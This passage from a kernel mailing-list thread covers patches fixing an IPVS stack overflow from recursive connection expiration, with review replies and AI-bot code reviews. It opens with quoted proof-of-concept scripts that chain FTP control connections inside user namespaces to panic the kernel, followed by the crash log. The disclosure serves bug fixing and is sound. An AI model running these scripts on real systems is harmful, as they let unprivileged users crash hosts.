>                 f"control-port reply was not rejected on level {i}: {reply!r}"
>             )
>         clients.append(s)
>         if (i + 1) % 50 == 0 or i + 1 == depth:
>             print(f"built {i + 1} connections", flush=True)
>     except BaseException as exc:
>         client_error.append(repr(exc))
>         break
> 
> if client_error:
>     raise SystemExit(f"client failed: {client_error[0]}")
> if server_error:
>     raise SystemExit(f"server failed: {server_error[0]}")
> if rejected != depth:
>     raise SystemExit(f"expected {depth} rejected replies, got {rejected}")
> 
> try:
>     with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
>         conn_lines = sum(1 for _ in f) - 1
> except OSError:
>     conn_lines = -1
> 
> print(f"rejected control-port replies: {rejected}/{depth}", flush=True)
> print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
> if conn_lines != depth:
>     raise SystemExit(
>         f"expected {depth} IPVS entries, got {conn_lines}; "
>         "a passive data connection was created"
>     )
> print(f"passive data connections created: {conn_lines - depth}", flush=True)
> 
> if mode == "hold":
>     while True:
>         time.sleep(1)
> elif mode == "flush":
>     ipvs_flush()
>     print("IPVS flush returned", flush=True)
>     while True:
>         time.sleep(1)
> elif mode == "exit":
>     print("exiting namespace holder", flush=True)
>     sys.stdout.flush()
>     os._exit(0)
> else:
>     raise SystemExit(f"unknown MODE={mode!r}")
> PY
> ------END poc.sh--------
> 
> ------BEGIN poc-active.sh------
> #!/bin/sh
> set -eu
> 
> DEPTH="${1:-400}"
> MODE="${MODE:-exit}"
> SELF_UNSHARE="${SELF_UNSHARE:-0}"
> 
> if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
> 	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
> 		unshare -Urn -- "$0" "${DEPTH}"
> fi
> 
> ulimit -n 65535 2>/dev/null || true
> 
> IP=/usr/sbin/ip
> PYTHON=/usr/bin/python3
> 
> VIP=198.51.100.1
> REAL=198.51.100.2
> CLIENT=198.51.100.3
> PORT=21
> 
> "${IP}" link set lo up
> "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
> 
> exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
> import ctypes
> import os
> import socket
> import sys
> import threading
> import time
> 
> depth = int(sys.argv[1])
> mode = sys.argv[2]
> vip = sys.argv[3]
> real = sys.argv[4]
> client_ip = sys.argv[5]
> port = int(sys.argv[6])
> 
> ready = threading.Event()
> server_error = []
> client_error = []
> accepted = []
> clients = []
> 
> IP_VS_BASE_CTL = 64 + 1024 + 64
> IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
> IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
> IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
> 
> 
> class Svc(ctypes.Structure):
>     _fields_ = [
>         ("protocol", ctypes.c_uint16),
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("fwmark", ctypes.c_uint32),
>         ("sched_name", ctypes.c_char * 16),
>         ("flags", ctypes.c_uint),
>         ("timeout", ctypes.c_uint),
>         ("netmask", ctypes.c_uint32),
>     ]
> 
> 
> class Dest(ctypes.Structure):
>     _fields_ = [
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("conn_flags", ctypes.c_uint),
>         ("weight", ctypes.c_int),
>         ("u_threshold", ctypes.c_uint32),
>         ("l_threshold", ctypes.c_uint32),
>     ]
> 
> 
> def native_u32(ip):
>     return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
> 
> 
> def ipvs_sock():
>     return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
> 
> 
> def ipvs_flush():
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
>     finally:
>         s.close()
> 
> 
> def ipvs_add_service():
>     svc = Svc()
>     svc.protocol = socket.IPPROTO_TCP
>     svc.addr = native_u32(vip)
>     svc.port = socket.htons(port)
>     svc.fwmark = 0
>     svc.sched_name = b"rr"
>     svc.flags = 0
>     svc.timeout = 0
>     svc.netmask = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
>     finally:
>         s.close()
>     return svc
> 
> 
> def ipvs_add_dest(svc):
>     dest = Dest()
>     dest.addr = native_u32(real)
>     dest.port = socket.htons(port)
>     dest.conn_flags = 0
>     dest.weight = 1
>     dest.u_threshold = 0
>     dest.l_threshold = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
>     finally:
>         s.close()
> 
> 
> def recv_line(sock):
>     data = bytearray()
>     while not data.endswith(b"\n"):
>         chunk = sock.recv(1)
>         if not chunk:
>             raise RuntimeError("unexpected EOF")
>         data.extend(chunk)
>     return bytes(data)
> 
> 
> def server():
>     try:
>         srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>         srv.bind((real, port))
>         srv.listen(depth + 16)
>         ready.set()
>         for i in range(depth):
>             conn, addr = srv.accept()
>             conn.sendall(b"220 ready\r\n")
>             line = recv_line(conn)
>             if not line.upper().startswith(b"PORT "):
>                 raise RuntimeError(f"unexpected request on level {i}: {line!r}")
>             conn.sendall(b"200 PORT command successful\r\n")
>             accepted.append(conn)
>         while True:
>             time.sleep(1)
>     except BaseException as exc:
>         server_error.append(repr(exc))
>         ready.set()
> 
> 
> try:
>     try:
>         ipvs_flush()
>     except OSError:
>         pass
>     service = ipvs_add_service()
>     ipvs_add_dest(service)
> except OSError as exc:
>     raise SystemExit(f"ipvs setup failed: {exc}")
> 
> 
> threading.Thread(target=server, daemon=True).start()
> ready.wait()
> if server_error:
>     raise SystemExit(f"server failed early: {server_error[0]}")
> 
> for i in range(depth):
>     try:
>         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         s.bind((client_ip, 0))
>         s.connect((vip, port))
>         banner = recv_line(s)
>         if not banner.startswith(b"220 "):
>             raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
>         s.sendall(b"PORT 198,51,100,3,4,1\r\n")
>         time.sleep(0.2)
>         clients.append(s)
>         if (i + 1) % 50 == 0 or i + 1 == depth:
>             print(f"built {i + 1} connections", flush=True)
>     except BaseException as exc:
>         client_error.append(repr(exc))
>         break
> 
> if client_error:
>     raise SystemExit(f"client failed: {client_error[0]}")
> if server_error:
>     raise SystemExit(f"server failed: {server_error[0]}")
> 
> try:
>     with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
>         conn_lines = sum(1 for _ in f) - 1
> except OSError:
>     conn_lines = -1
> 
> print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
> if conn_lines != depth:
>     raise SystemExit(
>         f"expected {depth} IPVS entries, got {conn_lines}; "
>         "a derived data connection was created"
>     )
> print(f"derived data connections created: {conn_lines - depth}", flush=True)
> 
> if mode == "hold":
>     while True:
>         time.sleep(1)
> elif mode == "flush":
>     ipvs_flush()
>     print("IPVS flush returned", flush=True)
>     while True:
>         time.sleep(1)
> elif mode == "exit":
>     print("exiting namespace holder", flush=True)
>     sys.stdout.flush()
>     os._exit(0)
> else:
>     raise SystemExit(f"unknown MODE={mode!r}")
> PY
> ------END poc-active.sh--------
> 
> ----BEGIN crash log----
> [   40.621758] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715)
> [   40.621785] Write of size 112 at addr ff11000007307e98 by task kworker/u8:0/12
> [   40.621785] 
> [   40.621785] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
> [   40.621785] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [   40.621785] Workqueue: netns cleanup_net
> [   40.621785] Call Trace:
> 
> [   40.951167] BUG: unable to handle page fault for address: ff11000011430ff4
> [   40.951167] #PF: supervisor instruction fetch in kernel mode
> [   40.951167] #PF: error_code(0x0011) - permissions violation
> [   40.951167] PGD 6f1e067 P4D 6f1f067 PUD 6f20067 PMD 80000000114001e3 
> [   40.951167] Thread overran stack, or stack corrupted
> [   40.951167] Oops: Oops: 0011 [#1] SMP KASAN NOPTI
> [   40.951167] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G        W           7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
> [   40.951167] Tainted: [W]=WARN
> [   40.951167] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [   40.951167] Workqueue:  0x0 (events_freezable_pwr_efficient)
> 
> [   40.951167] Call Trace:
> [   40.951167]  <TASK>
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  </TASK>
> 
> [   40.951167] Kernel panic - not syncing: Fatal exception
> [   40.951167] Shutting down cpus with NMI
> [   40.951167] Kernel Offset: disabled
> [   40.951167] ---[ end Kernel panic - not syncing: Fatal exception ]---
> -----END crash log-----
> 
> changes in v5:
>   - Update the first patch with Julian Anastasov's v3 fix, restoring
>     the reference with refcount_set(&cp->refcnt, 1).
>   - v4 Link: https://lore.kernel.org/all/cover.1790146910.git.zihanx@nebusec.ai/
> changes in v4:
>   - Add Julian Anastasov's timer-callback deletion fix as patch 1,
>     including n_control revalidation.
>   - Rebase iterative controller cleanup on that fix and keep the
>     controller walk synchronous without recursive expiration.
>   - Resend the FTP helper checks as patch 3/3.
>   - v3 Link: https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
> changes in v3:
>   - Add the active-mode guard for configured FTP control ports.
>   - Handle the timer-callback race while keeping controller cleanup
>     iterative and synchronous.
>   - v2 Link: https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
> changes in v2:
>   - Replace recursive controller expiration with an iterative path.
>   - Add the FTP-helper checks for configured control ports.
>   - v1 Link: https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/
> 
> 
> Best regards,
> Zihan Xi
> 
> Julian Anastasov (1):
>   ipvs: wait the running timer cb on conn deletion
> 
> Zihan Xi (2):
>   ipvs: avoid stack overflow from recursive connection expiration
>   ipvs: reject FTP control ports as data ports
> 
>  net/netfilter/ipvs/ip_vs_conn.c | 117 ++++++++++++++++++--------------
>  net/netfilter/ipvs/ip_vs_ftp.c  |  18 +++++
>  2 files changed, 85 insertions(+), 50 deletions(-)

Regards

--
Julian Anastasov <ja@ssi.bg>


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration
  2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
                   ` (3 preceding siblings ...)
  2026-09-25 18:05 ` [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Julian Anastasov
@ 2026-09-27 14:07 ` Julian Anastasov
  2026-09-27 15:23   ` zihan xi
  4 siblings, 1 reply; 9+ messages in thread
From: Julian Anastasov @ 2026-09-27 14:07 UTC (permalink / raw)
  To: Zihan Xi; +Cc: netdev, lvs-devel, netfilter-devel, horms, pablo, fw, phil


	Hello,

On Fri, 25 Sep 2026, Zihan Xi wrote:

> Hi Linux kernel maintainers,
> 
> We found and validated an issue in
> net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. The
> bug is reachable by a non-root user via a user namespace and a network
> namespace.
> We've tested it, and it should not affect any other functionality.
> 
> This series contains 3 patches:
> 
>   1/3 Fix the timer callback race during IPVS connection deletion.
>   2/3 Replace recursive controller expiration with an iterative cleanup
>       path.
>   3/3 Reject zero and configured FTP control ports as data ports.
> 
> We will provide detailed information about the bug
> in this email, along with PoCs to trigger it.

	There are some valid concerns in the Sashiko review
that we should solve with v6, so we are dropping v5.

pw-bot: changes-requested

> Best regards,
> Zihan Xi
> 
> Julian Anastasov (1):
>   ipvs: wait the running timer cb on conn deletion
> 
> Zihan Xi (2):
>   ipvs: avoid stack overflow from recursive connection expiration
>   ipvs: reject FTP control ports as data ports
> 
>  net/netfilter/ipvs/ip_vs_conn.c | 117 ++++++++++++++++++--------------
>  net/netfilter/ipvs/ip_vs_ftp.c  |  18 +++++
>  2 files changed, 85 insertions(+), 50 deletions(-)
> 
> -- 
> 2.43.0

Regards

--
Julian Anastasov <ja@ssi.bg>


^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration
  2026-09-27 14:07 ` Julian Anastasov
@ 2026-09-27 15:23   ` zihan xi
  0 siblings, 0 replies; 9+ messages in thread
From: zihan xi @ 2026-09-27 15:23 UTC (permalink / raw)
  To: Julian Anastasov
  Cc: netdev, lvs-devel, netfilter-devel, horms, pablo, fw, phil

On Sun, Sep 27, 2026 at 10:07 PM Julian Anastasov <ja@ssi.bg> wrote:
>
>
>         Hello,
>
> On Fri, 25 Sep 2026, Zihan Xi wrote:
>
> > Hi Linux kernel maintainers,
> >
> > We found and validated an issue in
> > net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. The
> > bug is reachable by a non-root user via a user namespace and a network
> > namespace.
> > We've tested it, and it should not affect any other functionality.
> >
> > This series contains 3 patches:
> >
> >   1/3 Fix the timer callback race during IPVS connection deletion.
> >   2/3 Replace recursive controller expiration with an iterative cleanup
> >       path.
> >   3/3 Reject zero and configured FTP control ports as data ports.
> >
> > We will provide detailed information about the bug
> > in this email, along with PoCs to trigger it.
>
>         There are some valid concerns in the Sashiko review
> that we should solve with v6, so we are dropping v5.
>
> pw-bot: changes-requested
>
> > Best regards,
> > Zihan Xi
> >
> > Julian Anastasov (1):
> >   ipvs: wait the running timer cb on conn deletion
> >
> > Zihan Xi (2):
> >   ipvs: avoid stack overflow from recursive connection expiration
> >   ipvs: reject FTP control ports as data ports
> >
> >  net/netfilter/ipvs/ip_vs_conn.c | 117 ++++++++++++++++++--------------
> >  net/netfilter/ipvs/ip_vs_ftp.c  |  18 +++++
> >  2 files changed, 85 insertions(+), 50 deletions(-)
> >
> > --
> > 2.43.0
>
> Regards
>
> --
> Julian Anastasov <ja@ssi.bg>
>

Hi Julian,

Thanks for the review and for preparing the timer-callback fix. Understood
that v5 is dropped and the series will be resent as v6.

I’ll revise my iterative-expiration and FTP-port patches to address the
relevant review points. Once your v6 patch is available, I’ll rebase the
series on it and recheck the combined changes, particularly the controller
lifetime handling. I’ll also clarify the active-mode condition and how the
FTP path can extend the controlled-connection chain.

Regards,
Zihan

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion
  2026-09-25 16:40 ` [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion Zihan Xi
@ 2026-09-29 17:05   ` netdev-bot+sashiko
  0 siblings, 0 replies; 9+ messages in thread
From: netdev-bot+sashiko @ 2026-09-29 17:05 UTC (permalink / raw)
  To: zihanx
  Cc: netdev, lvs-devel, netfilter-devel, horms, ja, pablo, fw, phil,
	stable, vega, root, kuba

Thank you for your contribution! Sashiko AI review found 8 potential
issue(s) to consider.

Critical: 0 · High: 0 · Medium: 1 · Low: 7

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [Medium] The new check in ip_vs_conn_unlink() that the conn no longer
  controls others is not ordered after the refcount transition it…
- [Low] A comment in ip_vs_conn_expire_now() is now stale.
- [Low] Whether the caller is the timer callback is encoded in bit 0 of
  the struct timer_list pointer passed to ip_vs_conn_expire().
- [Low] The concern is that expire_later's `if (cp->timeout ||
  atomic_read(&cp->n_control)) cp->timeout = 60 * HZ;` can overwrite a…
- [Low] The new comment in ip_vs_conn_unlink() says the code revalidates
  that there is "no pending/running timer callback", and the…
- [Low] Regression in the race between a deleter and a running timer
  callback: a connection that has already timed out and is also being…
- [Low] ip_vs_conn_unlink() now drops refcnt to 0 with
  refcount_dec_if_one() before deciding whether the conn will really be…
- [Low] Because expire_later now keeps cp->timeout == 0, the sync master
  can send timeout 0 to the backup.

--

ipvs: wait the running timer cb on conn deletion

This patch changes ip_vs_conn_unlink() so it first drops refcnt from 1 to
0, then rechecks n_control and the timer state. If a timer callback may
still be running, it puts refcnt back to 1. ip_vs_conn_del() and
ip_vs_conn_del_put() are merged into one ip_vs_conn_del(). It tags bit 0
of the timer pointer so that ip_vs_conn_expire() knows it is not running
as the timer callback, and expire_later now tries to keep cp->timeout == 0
as a request to drop the control chain.

Link: https://sashiko.dev/#/patchset/cover.1789435989.git.zihanx%40nebusec.ai

> diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> index 6fa3e1dc534c3..eac185496a8a6 100644
> --- a/net/netfilter/ipvs/ip_vs_conn.c
> +++ b/net/netfilter/ipvs/ip_vs_conn.c
> @@ -313,17 +313,34 @@ static inline int ip_vs_conn_hash(struct ip_vs_conn *cp)

[ ... ]

> +	if (!refcount_dec_if_one(&cp->refcnt))
> +		return false;
> +
>  	if (cp->flags & IP_VS_CONN_F_ONE_PACKET)
> -		return refcount_dec_if_one(&cp->refcnt);
> +		return true;
> +
> +	/* Revalidate after conn is excluded from traffic:
> +	 * - not controlling other conns
> +	 * - no pending/running timer callback
> +	 *
> +	 * And the winner is ...
> +	 */

[Severity: Low]
Is the "no pending/running timer callback" part of this comment accurate?
The new header comment on ip_vs_conn_expire() says the same thing.

The check only uses the return value of timer_delete(). The documentation
in kernel/time/timer.c says it:

 * ... does not take into account whether the timer's
 * callback function is concurrently executed on a different CPU or not.

For example, cp's callback is running on CPU A. A packet holder re-arms
the timer with __ip_vs_conn_put_timer() and drops its reference. A deleter
on CPU B then wins refcount_dec_if_one() and gets timer_delete() == 1
while A's callback is still running. B goes on to unlink the conn and
call call_rcu().

This does not look like a use-after-free. A's refcount_dec_if_one() and
__ip_vs_conn_get() both fail on refcnt 0, and A runs in softirq under RCU.
But the guarantee comes from refcount exclusion plus RCU, not from there
being no running callback.

Could the comments describe it that way instead?

> +	if (atomic_read(&cp->n_control) ||

[Severity: Medium]
Is this n_control read ordered after the refcount_dec_if_one() above?

refcount_dec_if_one() is atomic_try_cmpxchg_release(), so it only gives
release ordering. Nothing before this atomic_read() provides acquire
ordering or smp_acquire__after_ctrl_dep(), which refcount_dec_and_test()
does include.

Take a packet in ip_vs_sched_persist() that attaches a new conn to the
template ct and then drops its reference:

CPU1 (packet)
  ip_vs_control_add(newcp, ct)        /* ct->n_control 0 -> 1 */
  ip_vs_conn_put(ct)                  /* ct->refcnt 2 -> 1 */

CPU2 (ct timer callback or deleter)
  ip_vs_conn_unlink(ct, ...)
    refcount_dec_if_one(&ct->refcnt)  /* 1 -> 0, succeeds */
    atomic_read(&ct->n_control)       /* can this still read 0? */

On weakly ordered architectures such as arm64, or under LKMM, can CPU2
read the old value of 0 here? If it does, it goes on to timer_delete(),
unlinks ct and calls call_rcu() while newcp->control still points at ct.
The later ip_vs_control_del(newcp), or the atomic_read(&ct->n_control) in
ip_vs_conn_expire(), would then be a use-after-free.

A related point: the patch also removes this recheck under the bucket
lock:

-		if (use2 == ip_vs_conn_use_hash2(cp) &&
-		    refcount_dec_if_one(&cp->refcnt)) {

That recheck protected against ip_vs_conn_change_fwd_mask() adding or
removing hn1. Now use2 is read outside the bucket lock, and only refcnt
exclusion orders it. The base lock taken in timer_delete() probably orders
it on real hardware, but LKMM does not guarantee that.

Would adding smp_acquire__after_ctrl_dep() after a successful
refcount_dec_if_one(), or keeping the use2 recheck under the bucket lock,
close this?

> +	    (!timer_delete(&cp->timer) && !my_cb)) {
> +		/* Not me? Give the timer callback another chance, even
> +		 * if one is concurrently running during the conn deletion.
> +		 */
> +		refcount_set(&cp->refcnt, 1);
> +		return false;
> +	}

[Severity: Low]
With this order, refcnt drops to 0 before the code knows the conn is being
removed, and this path can bring it back with refcount_set(&cp->refcnt, 1).
Throughout that window the conn is still hashed with refcnt 0.

Lookups such as __ip_vs_conn_in_get() use __ip_vs_conn_get(), which is
refcount_inc_not_zero():

	if (__ip_vs_conn_get(cp)) {
		/* HIT */
		rcu_read_unlock();
		return cp;
	}

Can a concurrent lookup miss a live conn or template here and handle the
packet as a new flow? A new conn or template could then be inserted next
to the original, which gets restored and kept, leaving duplicate entries.

The window covers the n_control read and timer_delete(). The
ip_vs_conn_del() callers run in process context under rcu_read_lock(), so
with preemptible RCU they can be preempted inside it. Before the patch,
refcnt only reached 0 under the bucket lock, right before an unlink that
could not be undone.

[ ... ]

> @@ -1319,34 +1332,29 @@ static void ip_vs_conn_rcu_free(struct rcu_head *head)

[ ... ]

>  static void ip_vs_conn_del(struct ip_vs_conn *cp)
>  {

[ ... ]

> +	struct timer_list *t = (void *)((unsigned long)(&cp->timer) | 1UL);

[ ... ]

> +	/* Drop cp->control chain too */
> +	if (cp->control)
> +		cp->timeout = 0;
> +	ip_vs_conn_expire(t);
>  }
>  
> +/* Connection is removed in the following steps:
> + * - timer expires or connection is deleted
> + * - there should be no more references (n_control>0 and refcnt>1)
> + * - there should be no pending timer or a running timer callback (on deletion)
> + */
>  static void ip_vs_conn_expire(struct timer_list *t)
>  {
> -	struct ip_vs_conn *cp = timer_container_of(cp, t, timer);
> +	bool my_cb = !((unsigned long)t & 1);

[Severity: Low]
This isn't a bug, but whether the caller is the timer callback is now
stored in bit 0 of the timer_list pointer. Any caller that passes an
untagged pointer is treated as the callback.

ip_vs_conn_put() calls ip_vs_conn_expire() directly from packet context
with an untagged pointer:

	if ((cp->flags & IP_VS_CONN_F_ONE_PACKET) &&
	    (refcount_read(&cp->refcnt) == 1) &&
	    !timer_pending(&cp->timer))
		/* expire connection immediately */
		ip_vs_conn_expire(&cp->timer);

So my_cb is true there even though no timer callback is running. This is
harmless today only because ip_vs_conn_unlink() returns true for
IP_VS_CONN_F_ONE_PACKET before it reads my_cb.

Would an explicit bool parameter, or a separate wrapper used as the timer
callback, make this dependency visible? Right now it rests on two
ONE_PACKET tests in different functions.

> +	struct timer_list *t2 = (void *)((unsigned long)t & ~1UL);
> +	struct ip_vs_conn *cp = timer_container_of(cp, t2, timer);
>  	struct netns_ipvs *ipvs = cp->ipvs;
>  
>  	/*
> @@ -1356,26 +1364,21 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		goto expire_later;
>  
>  	/* Unlink conn if not referenced anymore */
> -	if (likely(ip_vs_conn_unlink(cp))) {
> +	if (likely(ip_vs_conn_unlink(cp, my_cb))) {
>  		struct ip_vs_conn *ct = cp->control;
>  
> -		/* delete the timer if it is activated by other users */
> -		timer_delete(&cp->timer);
> -

[Severity: Low]
With this timer_delete() removed, the comment in ip_vs_conn_expire_now()
looks stale:

	/* Using mod_timer_pending will ensure the timer is not
	 * modified after the final timer_delete in ip_vs_conn_expire.
	 */

The only timer_delete() left is in ip_vs_conn_unlink(). It runs only
after refcount_dec_if_one() succeeds, and only for conns that are not
ONE_PACKET and have n_control == 0. When it returns 0 for a caller that is
not the callback, the timer is re-armed, so it is not the final one.

The guarantee itself still seems to hold. Should the comment point at
ip_vs_conn_unlink() and describe the new conditions?

[ ... ]

> @@ -1410,13 +1413,15 @@ static void ip_vs_conn_expire(struct timer_list *t)
>  		  refcount_read(&cp->refcnt),
>  		  atomic_read(&cp->n_control));
>  
> -	refcount_inc(&cp->refcnt);
> -	cp->timeout = 60*HZ;
> +	if (__ip_vs_conn_get(cp)) {
> +		if (cp->timeout || atomic_read(&cp->n_control))
> +			cp->timeout = 60 * HZ;

[Severity: Low]
Can a conn that has already timed out, and is also being deleted, survive
another 60 seconds here?

CPU A runs cp's timer callback (my_cb is true and the timer is no longer
pending). CPU B calls ip_vs_conn_del(cp) from ip_vs_random_dropentry() or
ip_vs_expire_nodest_conn_flush(). cp->control is NULL, so cp->timeout
stays non-zero:

CPU B
  ip_vs_conn_unlink(cp, false)
    refcount_dec_if_one()          /* 1 -> 0, wins */
CPU A
  ip_vs_conn_unlink(cp, true)
    refcount_dec_if_one()          /* fails */
  expire_later:
    __ip_vs_conn_get(cp)           /* fails on 0, does nothing */
CPU B
    timer_delete()                 /* returns 0, my_cb is false */
    refcount_set(&cp->refcnt, 1)
  expire_later:
    cp->timeout = 60 * HZ;
    __ip_vs_conn_put_timer(cp)     /* re-arms at jiffies + 60*HZ */

The commit message says "we will schedule new timer callback to expire the
connection after the running one finishes". Here, though, the expiry comes
60 seconds later, not right after. In the baseline, B's timer_delete()
failed and B did nothing, while A freed the conn.

One-shot callers such as ip_vs_random_dropentry() and the nodest flush do
not retry, so the conn stays hashed and bound to its dest until then.
ip_vs_conn_flush() recovers because it loops.

[Severity: Low]
This check still replaces a cp->timeout == 0 chain drop request with
60 * HZ whenever n_control != 0. The check-then-set also races with a
concurrent ip_vs_conn_del() writing 0. Is that intended?

It looks intentional. Leaving timeout at 0 with live children would make
__ip_vs_conn_put_timer() re-arm at jiffies + 0 and fire again every jiffy.
Also, every ip_vs_conn_del() caller checks n_control == 0 first.

The baseline set 60*HZ here unconditionally, so the race can only delay
the expiry. A short comment next to this check might still help.

> -	if (ipvs->sync_state & IP_VS_STATE_MASTER)
> -		ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));
> +		if (ipvs->sync_state & IP_VS_STATE_MASTER)
> +			ip_vs_sync_conn(ipvs, cp, sysctl_sync_threshold(ipvs));

[Severity: Low]
Since cp->timeout can now stay 0 on this path, can the sync master send a
timeout of 0 to the backup?

The path is:

- ip_vs_conn_del() on a conn with cp->control set writes
  cp->timeout = 0.
- ip_vs_conn_unlink() fails because a packet holds a reference.
- expire_later keeps 0 because n_control == 0, then calls
  ip_vs_sync_conn().

The v1 sync message then carries:

	s->v4.timeout = htonl(cp->timeout / HZ);

On the backup, ip_vs_proc_conn() treats 0 as unspecified:

	} else {
		...
		if (!(flags & IP_VS_CONN_F_TEMPLATE) && pd && pd->timeout_table)
			cp->timeout = pd->timeout_table[state];

For an established TCP conn that means 15 minutes. The baseline always
sent 60 seconds from this path.

Is this change in the replicated timeout intended?

> -	__ip_vs_conn_put_timer(cp);
> +		__ip_vs_conn_put_timer(cp);
> +	}
>  }

[ ... ]

-- 
Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1790266803.git.zihanx%40nebusec.ai

^ permalink raw reply	[flat|nested] 9+ messages in thread

* Re: [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration
  2026-09-25 16:40 ` [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
@ 2026-09-29 17:05   ` netdev-bot+sashiko
  0 siblings, 0 replies; 9+ messages in thread
From: netdev-bot+sashiko @ 2026-09-29 17:05 UTC (permalink / raw)
  To: zihanx
  Cc: netdev, lvs-devel, netfilter-devel, horms, ja, pablo, fw, phil,
	stable, vega, root, kuba

Thank you for your contribution! Sashiko AI review found 2 potential
issue(s) to consider.

Critical: 1 · High: 0 · Medium: 0 · Low: 1

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [Critical] ip_vs_conn_expire()'s chain walk (`cp = ct; my_cb = false;
  goto repeat`) can free a ONE_PACKET controller immediately while its…
- [Low] This patch carries Cc: stable and Fixes: f9200a52eedf, but it
  depends on the preceding series commit "ipvs: wait the running timer…

--

ipvs: avoid stack overflow from recursive connection expiration

This commit replaces the recursive ip_vs_conn_del(ct) call in
ip_vs_conn_expire() with an iterative walk. After the current connection
is freed, the walk continues with its controller. The whole walk runs
under one rcu_read_lock(), and each following controller is handled in
deletion mode (my_cb = false).

> diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c
> index eac185496a8a6..ec5c0c8ecde74 100644
> --- a/net/netfilter/ipvs/ip_vs_conn.c
> +++ b/net/netfilter/ipvs/ip_vs_conn.c
